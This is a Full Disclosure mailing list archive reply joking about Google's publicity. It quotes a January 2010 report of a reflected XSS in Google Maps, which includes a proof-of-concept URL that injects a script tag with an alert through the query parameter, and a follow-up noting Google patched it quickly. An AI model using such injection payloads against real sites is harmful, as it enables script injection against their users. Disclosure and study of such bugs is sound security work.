Full Disclosure mailing list archives
Re: Google Maps XSS (currently unpatched)
From: dramacrat <yirimyah () gmail com>
Date: Wed, 13 Jan 2010 02:07:38 +1100
ah, Google... the only company in IT that can have an unpatched vulnerability released to the world and get good publicity out of it. Don't get me wrong, I'm not in the GoogleSucksAndIsEvil crowd... I have friends that work for them, and I like to see a company like them doing well. Still, I can't help but suspect that one day in 50 years, Larry Page is going to be lying on his deathbed when out of a puff of smoke appears the Devil, who raises his trident and says "So, Mr Page, about that soul you signed away..." On 13/01/2010, Robin Sage <robin.sage () rocketmail com> wrote:
Google was quick on that one! It worked an hour and a half ago. - Robin ________________________________ From: gaurav baruah <baruah.gaurav () gmail com> To: full-disclosure () lists grok org uk Sent: Tue, January 12, 2010 6:20:32 AM Subject: [Full-disclosure] Google Maps XSS (currently unpatched) Google Maps XSS (currently unpatched) Discovered By - Pratul Agrawal (pratul2u () gmail com) Gaurav Baruah (baruah.gaurav () gmail com) PoC - http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=%3Cscript%3Ealert(%22Google%20Sucks%20!%22)%3C/script%3E&vps=1&sll=28.613554,77.20906&sspn=0.009136,0.013797&ie=UTF8 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Google Maps XSS (currently unpatched) gaurav baruah (Jan 12)
- Re: Google Maps XSS (currently unpatched) Michael Lenz (Jan 12)
- Re: Google Maps XSS (currently unpatched) Christian Sciberras (Jan 12)
- Re: Google Maps XSS (currently unpatched) NSO Research (Jan 12)
- Re: Google Maps XSS (currently unpatched) McGhee, Eddie (Jan 12)
- Re: Google Maps XSS (currently unpatched) zprian (Jan 12)
- Re: Google Maps XSS (currently unpatched) Juan Galiana (Jan 12)
- Re: Google Maps XSS (currently unpatched) Robin Sage (Jan 12)
- Re: Google Maps XSS (currently unpatched) dramacrat (Jan 12)
- Re: Google Maps XSS (currently unpatched) Rafal Los (Jan 13)
- <Possible follow-ups>
- Re: Google Maps XSS (currently unpatched) sunjester (Jan 12)
- Re: Google Maps XSS (currently unpatched) Valdis . Kletnieks (Jan 12)
- Re: Google Maps XSS (currently unpatched) sunjester (Jan 12)
- Re: Google Maps XSS (currently unpatched) Guy (Jan 12)
- Re: Google Maps XSS (currently unpatched) Christian Sciberras (Jan 13)
- Re: Google Maps XSS (currently unpatched) Michal (Jan 13)
- Re: Google Maps XSS (currently unpatched) Christian Sciberras (Jan 13)
- Re: Google Maps XSS (currently unpatched) Valdis . Kletnieks (Jan 12)
- Re: Google Maps XSS (currently unpatched) Michael Lenz (Jan 12)